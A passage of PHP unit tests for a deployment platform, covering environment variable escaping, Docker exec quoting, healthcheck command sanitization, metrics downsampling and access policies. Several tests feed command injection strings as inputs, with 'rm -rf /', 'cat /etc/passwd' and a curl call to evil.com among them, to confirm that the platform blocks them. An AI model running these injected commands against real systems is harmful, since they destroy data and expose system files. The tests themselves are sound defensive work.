||||
it('realValue accessor for literal JSON env returns raw value without wrapping', function () {
|
||||
$env = Mockery::mock(EnvironmentVariable::class)->makePartial();
|
||||
$env->shouldReceive('relationLoaded')->with('resourceable')->andReturn(true);
|
||||
$env->shouldReceive('getAttribute')->with('resourceable')->andReturn(new stdClass);
|
||||
$env->shouldReceive('getAttribute')->with('value')->andReturn(COMPOSER_AUTH_JSON);
|
||||
$env->shouldReceive('getAttribute')->with('is_literal')->andReturn(true);
|
||||
$env->shouldReceive('getAttribute')->with('is_multiline')->andReturn(false);
|
||||
|
||||
$realValue = $env->real_value;
|
||||
|
||||
// JSON check should fire first, returning raw JSON without single-quote wrapping
|
||||
expect($realValue)->toBe(COMPOSER_AUTH_JSON);
|
||||
expect($realValue)->not->toStartWith("'");
|
||||
expect($realValue)->not->toEndWith("'");
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Test 3: Non-JSON values still get normal escaping (regression check)
|
||||
// ---------------------------------------------------------------------------
|
||||
it('realValue accessor still escapes non-JSON values with quotes', function () {
|
||||
$env = Mockery::mock(EnvironmentVariable::class)->makePartial();
|
||||
$env->shouldReceive('relationLoaded')->with('resourceable')->andReturn(true);
|
||||
$env->shouldReceive('getAttribute')->with('resourceable')->andReturn(new stdClass);
|
||||
$env->shouldReceive('getAttribute')->with('value')->andReturn('hello "world"');
|
||||
$env->shouldReceive('getAttribute')->with('is_literal')->andReturn(false);
|
||||
$env->shouldReceive('getAttribute')->with('is_multiline')->andReturn(false);
|
||||
|
||||
$realValue = $env->real_value;
|
||||
|
||||
// Non-JSON should still be escaped by escapeEnvVariables
|
||||
expect($realValue)->toContain('\\"');
|
||||
expect($realValue)->toBe('hello \\"world\\"');
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Test 4: JSON array values also skip escaping
|
||||
// ---------------------------------------------------------------------------
|
||||
it('realValue accessor returns raw JSON array without escaping', function () {
|
||||
$jsonArray = '[{"host":"example.com","token":"abc123"}]';
|
||||
|
||||
$env = Mockery::mock(EnvironmentVariable::class)->makePartial();
|
||||
$env->shouldReceive('relationLoaded')->with('resourceable')->andReturn(true);
|
||||
$env->shouldReceive('getAttribute')->with('resourceable')->andReturn(new stdClass);
|
||||
$env->shouldReceive('getAttribute')->with('value')->andReturn($jsonArray);
|
||||
$env->shouldReceive('getAttribute')->with('is_literal')->andReturn(false);
|
||||
$env->shouldReceive('getAttribute')->with('is_multiline')->andReturn(false);
|
||||
|
||||
$realValue = $env->real_value;
|
||||
|
||||
expect($realValue)->toBe($jsonArray);
|
||||
expect($realValue)->not->toContain('\\"');
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Test 5: Buildtime escaping of raw JSON produces recoverable value
|
||||
// ---------------------------------------------------------------------------
|
||||
it('escapeBashDoubleQuoted on raw JSON produces value recoverable as valid JSON', function () {
|
||||
$escaped = escapeBashDoubleQuoted(COMPOSER_AUTH_JSON);
|
||||
|
||||
// Should be double-quoted
|
||||
expect($escaped)->toStartWith('"');
|
||||
expect($escaped)->toEndWith('"');
|
||||
|
||||
// After bash unescaping (strip outer quotes, unescape \")
|
||||
$inner = substr($escaped, 1, -1);
|
||||
$inner = str_replace('\\"', '"', $inner);
|
||||
$decoded = json_decode($inner, true);
|
||||
|
||||
expect($decoded)->not->toBeNull("Expected valid JSON after bash unescaping, got: {$inner}");
|
||||
expect($decoded)->toHaveKey('http-basic');
|
||||
});
|
||||
@@ -0,0 +1,35 @@
|
||||
<?php
|
||||
|
||||
it('passes a simple command through correctly', function () {
|
||||
$result = executeInDocker('test-container', 'ls -la /app');
|
||||
|
||||
expect($result)->toBe("docker exec test-container bash -c 'ls -la /app'");
|
||||
});
|
||||
|
||||
it('escapes single quotes in command', function () {
|
||||
$result = executeInDocker('test-container', "echo 'hello world'");
|
||||
|
||||
expect($result)->toBe("docker exec test-container bash -c 'echo '\\''hello world'\\'''");
|
||||
});
|
||||
|
||||
it('prevents command injection via single quote breakout', function () {
|
||||
$malicious = "cd /dir && docker compose build'; id; #";
|
||||
$result = executeInDocker('test-container', $malicious);
|
||||
|
||||
// The single quote in the malicious command should be escaped so it cannot break out of bash -c
|
||||
// The raw unescaped pattern "build'; id;" must not appear — the quote must be escaped
|
||||
expect($result)->not->toContain("build'; id;");
|
||||
expect($result)->toBe("docker exec test-container bash -c 'cd /dir && docker compose build'\\''; id; #'");
|
||||
});
|
||||
|
||||
it('handles empty command', function () {
|
||||
$result = executeInDocker('test-container', '');
|
||||
|
||||
expect($result)->toBe("docker exec test-container bash -c ''");
|
||||
});
|
||||
|
||||
it('handles command with multiple single quotes', function () {
|
||||
$result = executeInDocker('test-container', "echo 'a' && echo 'b'");
|
||||
|
||||
expect($result)->toBe("docker exec test-container bash -c 'echo '\\''a'\\'' && echo '\\''b'\\'''");
|
||||
});
|
||||
@@ -0,0 +1,270 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\ApplicationSetting;
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
use Mockery;
|
||||
|
||||
beforeEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
afterEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
it('sanitizes health_check_host to prevent command injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_host' => 'localhost; id > /tmp/pwned #',
|
||||
]);
|
||||
|
||||
// Should fall back to 'localhost' because input contains shell metacharacters
|
||||
expect($result)->not->toContain('; id')
|
||||
->and($result)->not->toContain('/tmp/pwned')
|
||||
->and($result)->toContain('localhost');
|
||||
});
|
||||
|
||||
it('sanitizes health_check_method to prevent command injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_method' => 'GET; curl http://evil.com #',
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain('evil.com')
|
||||
->and($result)->not->toContain('; curl');
|
||||
});
|
||||
|
||||
it('sanitizes health_check_path to prevent command injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_path' => '/health; rm -rf / #',
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain('rm -rf')
|
||||
->and($result)->not->toContain('; rm');
|
||||
});
|
||||
|
||||
it('sanitizes health_check_scheme to prevent command injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_scheme' => 'http; cat /etc/passwd #',
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain('/etc/passwd')
|
||||
->and($result)->not->toContain('; cat');
|
||||
});
|
||||
|
||||
it('casts health_check_port to integer to prevent injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_port' => '8080; whoami',
|
||||
]);
|
||||
|
||||
// (int) cast on non-numeric after digits yields 8080
|
||||
expect($result)->not->toContain('whoami')
|
||||
->and($result)->toContain('8080');
|
||||
});
|
||||
|
||||
it('generates valid healthcheck command with safe inputs', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_method' => 'GET',
|
||||
'health_check_scheme' => 'http',
|
||||
'health_check_host' => 'localhost',
|
||||
'health_check_port' => '8080',
|
||||
'health_check_path' => '/health',
|
||||
]);
|
||||
|
||||
expect($result)->toContain('curl -s -X')
|
||||
->and($result)->toContain('http://localhost:8080/health')
|
||||
->and($result)->toContain('wget -q -O-');
|
||||
});
|
||||
|
||||
it('uses escapeshellarg on the constructed URL', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_host' => 'my-app.local',
|
||||
'health_check_path' => '/api/health',
|
||||
]);
|
||||
|
||||
// escapeshellarg wraps in single quotes
|
||||
expect($result)->toContain("'http://my-app.local:80/api/health'");
|
||||
});
|
||||
|
||||
it('validates health_check_host rejects shell metacharacters via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_host' => 'localhost; id #'],
|
||||
['health_check_host' => $rules['health_check_host']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates health_check_method rejects invalid methods via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_method' => 'GET; curl evil.com'],
|
||||
['health_check_method' => $rules['health_check_method']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates health_check_scheme rejects invalid schemes via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_scheme' => 'http; whoami'],
|
||||
['health_check_scheme' => $rules['health_check_scheme']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates health_check_path rejects shell metacharacters via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_path' => '/health; rm -rf /'],
|
||||
['health_check_path' => $rules['health_check_path']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates health_check_port rejects non-numeric values via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_port' => '8080; whoami'],
|
||||
['health_check_port' => $rules['health_check_port']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows valid health check values via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
[
|
||||
'health_check_host' => 'my-app.localhost',
|
||||
'health_check_method' => 'GET',
|
||||
'health_check_scheme' => 'https',
|
||||
'health_check_path' => '/api/v1/health',
|
||||
'health_check_port' => 8080,
|
||||
],
|
||||
[
|
||||
'health_check_host' => $rules['health_check_host'],
|
||||
'health_check_method' => $rules['health_check_method'],
|
||||
'health_check_scheme' => $rules['health_check_scheme'],
|
||||
'health_check_path' => $rules['health_check_path'],
|
||||
'health_check_port' => $rules['health_check_port'],
|
||||
]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('generates CMD healthcheck command directly', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'pg_isready -U postgres',
|
||||
]);
|
||||
|
||||
expect($result)->toBe('pg_isready -U postgres');
|
||||
});
|
||||
|
||||
it('strips newlines from CMD healthcheck command', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => "redis-cli ping\n&& echo pwned",
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain("\n")
|
||||
->and($result)->toBe('redis-cli ping && echo pwned');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => '',
|
||||
]);
|
||||
|
||||
// Should fall through to HTTP path
|
||||
expect($result)->toContain('curl -s -X');
|
||||
});
|
||||
|
||||
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
|
||||
$rules = [
|
||||
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||
];
|
||||
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||
$rules
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates healthCheckCommand accepts strings under 1000 characters', function () {
|
||||
$rules = [
|
||||
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||
];
|
||||
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||
$rules
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
/**
|
||||
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
|
||||
*/
|
||||
function callGenerateHealthcheckCommands(array $overrides = []): string
|
||||
{
|
||||
$defaults = [
|
||||
'health_check_type' => 'http',
|
||||
'health_check_command' => null,
|
||||
'health_check_method' => 'GET',
|
||||
'health_check_scheme' => 'http',
|
||||
'health_check_host' => 'localhost',
|
||||
'health_check_port' => null,
|
||||
'health_check_path' => '/',
|
||||
'ports_exposes' => '80',
|
||||
];
|
||||
|
||||
$values = array_merge($defaults, $overrides);
|
||||
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']);
|
||||
$application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes']));
|
||||
$application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');
|
||||
|
||||
$settings = Mockery::mock(ApplicationSetting::class)->makePartial();
|
||||
$settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false);
|
||||
$application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
|
||||
|
||||
$deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
|
||||
|
||||
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$appProp = $reflection->getProperty('application');
|
||||
$appProp->setAccessible(true);
|
||||
$appProp->setValue($job, $application);
|
||||
|
||||
$method = $reflection->getMethod('generate_healthcheck_commands');
|
||||
$method->setAccessible(true);
|
||||
|
||||
return $method->invoke($job);
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Tests for the downsampleLTTB helper function used for metrics downsampling.
|
||||
* This function implements the Largest-Triangle-Three-Buckets algorithm.
|
||||
*/
|
||||
it('returns data unchanged when below threshold', function () {
|
||||
$data = [
|
||||
[1000, 10.5],
|
||||
[2000, 20.3],
|
||||
[3000, 15.7],
|
||||
];
|
||||
|
||||
$result = downsampleLTTB($data, 1000);
|
||||
|
||||
expect($result)->toBe($data);
|
||||
});
|
||||
|
||||
it('returns data unchanged when threshold is 2 or less', function () {
|
||||
$data = [
|
||||
[1000, 10.5],
|
||||
[2000, 20.3],
|
||||
[3000, 15.7],
|
||||
[4000, 25.0],
|
||||
[5000, 12.0],
|
||||
];
|
||||
|
||||
$result = downsampleLTTB($data, 2);
|
||||
expect($result)->toBe($data);
|
||||
|
||||
$result = downsampleLTTB($data, 1);
|
||||
expect($result)->toBe($data);
|
||||
});
|
||||
|
||||
it('downsamples to target threshold count', function () {
|
||||
// Seed for reproducibility
|
||||
mt_srand(42);
|
||||
|
||||
// Generate 100 data points
|
||||
$data = [];
|
||||
for ($i = 0; $i < 100; $i++) {
|
||||
$data[] = [$i * 1000, mt_rand(0, 100) / 10];
|
||||
}
|
||||
|
||||
$result = downsampleLTTB($data, 10);
|
||||
|
||||
expect(count($result))->toBe(10);
|
||||
});
|
||||
|
||||
it('preserves first and last data points', function () {
|
||||
$data = [];
|
||||
for ($i = 0; $i < 100; $i++) {
|
||||
$data[] = [$i * 1000, $i * 1.5];
|
||||
}
|
||||
|
||||
$result = downsampleLTTB($data, 20);
|
||||
|
||||
// First point should be preserved
|
||||
expect($result[0])->toBe($data[0]);
|
||||
|
||||
// Last point should be preserved
|
||||
expect(end($result))->toBe(end($data));
|
||||
});
|
||||
|
||||
it('maintains chronological order', function () {
|
||||
$data = [];
|
||||
for ($i = 0; $i < 500; $i++) {
|
||||
$data[] = [$i * 60000, sin($i / 10) * 50 + 50]; // Sine wave pattern
|
||||
}
|
||||
|
||||
$result = downsampleLTTB($data, 50);
|
||||
|
||||
// Verify all timestamps are in non-decreasing order
|
||||
$previousTimestamp = -1;
|
||||
foreach ($result as $point) {
|
||||
expect($point[0])->toBeGreaterThanOrEqual($previousTimestamp);
|
||||
$previousTimestamp = $point[0];
|
||||
}
|
||||
});
|
||||
|
||||
it('handles large datasets efficiently', function () {
|
||||
// Seed for reproducibility
|
||||
mt_srand(123);
|
||||
|
||||
// Simulate 30 days of data at 5-second intervals (518,400 points)
|
||||
// For test purposes, use 10,000 points
|
||||
$data = [];
|
||||
for ($i = 0; $i < 10000; $i++) {
|
||||
$data[] = [$i * 5000, mt_rand(0, 100)];
|
||||
}
|
||||
|
||||
$startTime = microtime(true);
|
||||
$result = downsampleLTTB($data, 1000);
|
||||
$executionTime = microtime(true) - $startTime;
|
||||
|
||||
expect(count($result))->toBe(1000);
|
||||
expect($executionTime)->toBeLessThan(1.0); // Should complete in under 1 second
|
||||
});
|
||||
|
||||
it('preserves peaks and valleys in data', function () {
|
||||
// Create data with clear peaks and valleys
|
||||
$data = [];
|
||||
for ($i = 0; $i < 100; $i++) {
|
||||
if ($i === 25) {
|
||||
$value = 100; // Peak
|
||||
} elseif ($i === 75) {
|
||||
$value = 0; // Valley
|
||||
} else {
|
||||
$value = 50;
|
||||
}
|
||||
$data[] = [$i * 1000, $value];
|
||||
}
|
||||
|
||||
$result = downsampleLTTB($data, 20);
|
||||
|
||||
// The peak (100) and valley (0) should be preserved due to LTTB algorithm
|
||||
$values = array_column($result, 1);
|
||||
|
||||
expect(in_array(100, $values))->toBeTrue();
|
||||
expect(in_array(0, $values))->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,227 @@
|
||||
<?php
|
||||
|
||||
use App\Models\User;
|
||||
use App\Policies\GithubAppPolicy;
|
||||
|
||||
it('allows any user to view any github apps', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->viewAny($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows any user to view system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->view($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows team member to view non-system-wide github app', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->view($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-team member to view non-system-wide github app', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 2, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->view($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows admin to create github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(true);
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->create($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-admin to create github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(false);
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->create($user))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows user with system access to update system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies user without system access to update system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to update non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to update non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows user with system access to delete system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies user without system access to delete system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to delete non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to delete non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies restore of github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->restore($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies force delete of github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->forceDelete($user, $model))->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,163 @@
|
||||
<?php
|
||||
|
||||
use App\Models\User;
|
||||
use App\Policies\SharedEnvironmentVariablePolicy;
|
||||
|
||||
it('allows any user to view any shared environment variables', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->viewAny($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows team member to view their team shared environment variable', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->view($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-team member to view shared environment variable', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 2;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->view($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows admin to create shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(true);
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->create($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-admin to create shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(false);
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->create($user))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to update shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->update($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to update shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->update($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to delete shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->delete($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to delete shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->delete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies restore of shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->restore($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies force delete of shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->forceDelete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to manage environment', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->manageEnvironment($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to manage environment', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
